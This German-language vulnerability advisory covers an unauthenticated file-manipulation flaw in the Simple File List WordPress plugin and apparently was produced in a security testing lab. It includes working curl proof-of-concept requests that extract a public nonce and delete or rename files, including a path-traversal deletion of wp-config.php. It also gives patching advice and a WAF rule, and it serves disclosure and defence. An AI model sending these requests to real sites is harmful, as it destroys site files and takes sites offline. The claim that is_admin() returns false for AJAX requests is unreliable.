CVE-2026-11912: Simple File List <= 6.3.7 – Fehlende Autorisierung führt zu nicht authentifizierter Dateimanipulation

Zusammenfassung

Details zur Schwachstelle

Beschreibung

Das Simple File List Plugin für WordPress ist aufgrund unzureichender Autorisierungsprüfungen in allen Versionen bis einschließlich 6.3.7 anfällig für beliebige Dateimanipulation. Dadurch ist es nicht authentifizierten Angreifern möglich, Dateien auf dem Server zu löschen und zu modifizieren.

Root-Cause-Analyse

Die Schwachstelle besteht aus folgenden Gründen:

1. AJAX-Endpunkt-Registrierung: Die AJAX-Aktion simplefilelist_edit_job wird sowohl mit den wp_ajax_- als auch mit den wp_ajax_nopriv_-Hooks registriert, was nicht authentifizierten Zugriff ermöglicht:

   root@kitploit:~

   add_action('wp_ajax_simplefilelist_edit_job', 'simplefilelist_edit_job');
   add_action('wp_ajax_nopriv_simplefilelist_edit_job', 'simplefilelist_edit_job');
   

2. Fehlerhafte Autorisierungsprüfung: Die Autorisierungslogik in eeSFL_FileEditor() (Zeile 1265) verwendet:

   root@kitploit:~

   if(!is_admin() AND $eeSFL->eeListSettings['AllowFrontManage'] != 'YES') {
       return;
   }
   

   Die Funktion is_admin() gibt bei AJAX-Anfragen FALSE zurück, sodass die Autorisierungsprüfung kurzgeschlossen wird, bevor die Einstellung AllowFrontManage ausgewertet wird.

3. Nonce-Exposition: Der Sicherheits-Nonce (eeSFL_ActionNonce) wird mittels erzeugt und im HTML-Quellcode der Frontend-Seite offengelegt, sodass Angreifer ihn ohne Authentifizierung extrahieren können.

Auswirkungsanalyse

Auswirkung auf die Vertraulichkeit: Hoch

• Dateiinhalte können über die Dateiliste ausgelesen werden
• Dateimetadaten werden offengelegt (Namen, Größen, Daten)

Auswirkung auf die Integrität: Hoch (KRITISCH)

• Nicht authentifiziertes Löschen von Dateien
• Nicht authentifiziertes Umbenennen von Dateien
• Nicht authentifizierte Änderung von Dateibeschreibungen
• Path-Traversal ermöglicht das Löschen kritischer Dateien (einschließlich wp-config.php)

Auswirkung auf die Verfügbarkeit: Keine

• Dateioperationen verursachen keinen direkten DoS, können aber indirekt durch das Löschen von Dateien die Verfügbarkeit beeinträchtigen

Reale Ausnutzung demonstriert

Während der Tests wurde diese Schwachstelle erfolgreich ausgenutzt, um die WordPress-Konfigurationsdatei (wp-config.php) zu LÖSCHEN, was die Website vollständig unbrauchbar machte. Dies zeigt die kritische Schwere des Path-Traversal-Aspekts dieser Schwachstelle.

PoC-Ausnutzungsschritte

Schritt 1: Nonce aus dem Frontend extrahieren

# Den Sicherheits-Nonce von der Dateilistenseite abrufen
curl -k -sL "https://poloss-lab.ddev.site/file-list/" | grep -o 'eeSFL_ActionNonce">[^<]*'
# Ausgabe: eeSFL_ActionNonce">1c14af78c2

Schritt 2: Nicht authentifiziertes Dateilöschen

curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
  -d "action=simplefilelist_edit_job" \
  -d "eeSecurity=1c14af78c2" \
  -d "eeSFL_ID=1" \
  -d "eeFileAction=Delete" \
  -d "eeFileName=test.txt"
# Antwort: SUCCESS

Schritt 3: Nicht authentifiziertes Dateiumbenennen

curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
  -d "action=simplefilelist_edit_job" \
  -d "eeSecurity=1c14af78c2" \
  -d "eeSFL_ID=1" \
  -d "eeFileAction=Edit" \
  -d "eeFileName=original.pdf" \
  -d "eeFileNameNew=malicious.pdf"
# Antwort: SUCCESS

Schritt 4: Path Traversal (KRITISCH – wp-config.php löschen)

curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
  -d "action=simplefilelist_edit_job" \
  -d "eeSecurity=1c14af78c2" \
  -d "eeSFL_ID=1" \
  -d "eeFileAction=Delete" \
  -d "eeFileName=../../wp-config.php"
# Antwort: SUCCESS (KRITISCH – Dadurch wird die Website unbrauchbar!)

Abhilfe

Sofortmaßnahmen

1. Plugin aktualisieren: Upgrade auf Simple File List Version 6.3.8 oder höher
2. Auf Kompromittierung prüfen: Dateisystem auf nicht autorisierte Änderungen überprüfen
3. Backups wiederherstellen: Falls wp-config.php betroffen war, aus einem Backup wiederherstellen

Temporäre Maßnahmen (falls Update nicht sofort möglich)

1. Das Simple File List Plugin deaktivieren, bis der Patch eingespielt wird
2. Alle Seiten mit dem [eeSFL]-Shortcode entfernen
3. WAF-Regeln implementieren, um verdächtige AJAX-Anfragen zu blockieren:
   root@kitploit:~

   # AJAX-Aufrufe von simplefilelist_edit_job blockieren
   <IfModule mod_rewrite.c>
       RewriteEngine On
       RewriteCond %{QUERY_STRING} action=simplefilelist_edit_job
       RewriteRule ^wp-admin/admin-ajax\.php$ - [F,L]
   </IfModule>
   

Langfristige Empfehlungen

• Validierung des Anfrageursprungs implementieren (CSRF-Schutz)
• Berechtigungsprüfungen für alle Dateioperationen hinzufügen
• AJAX-Endpunkte ratenbegrenzen
• Protokolle auf verdächtige Dateioperationen überwachen

Referenzen

• Wordfence Intelligence
• Simple File List Plugin Seite
• Plugin SVN Trunk

Testumgebung

• Labor: DDEV poloss-lab
• URL: https://poloss-lab.ddev.site
• Getestete Plugin-Version: 6.3.7
• WordPress-Version: Aktuellste (PHP 8.4)

Bericht erstellt von Claude Code – WordPress Security Testing Lab Datum: 20. Juni 2026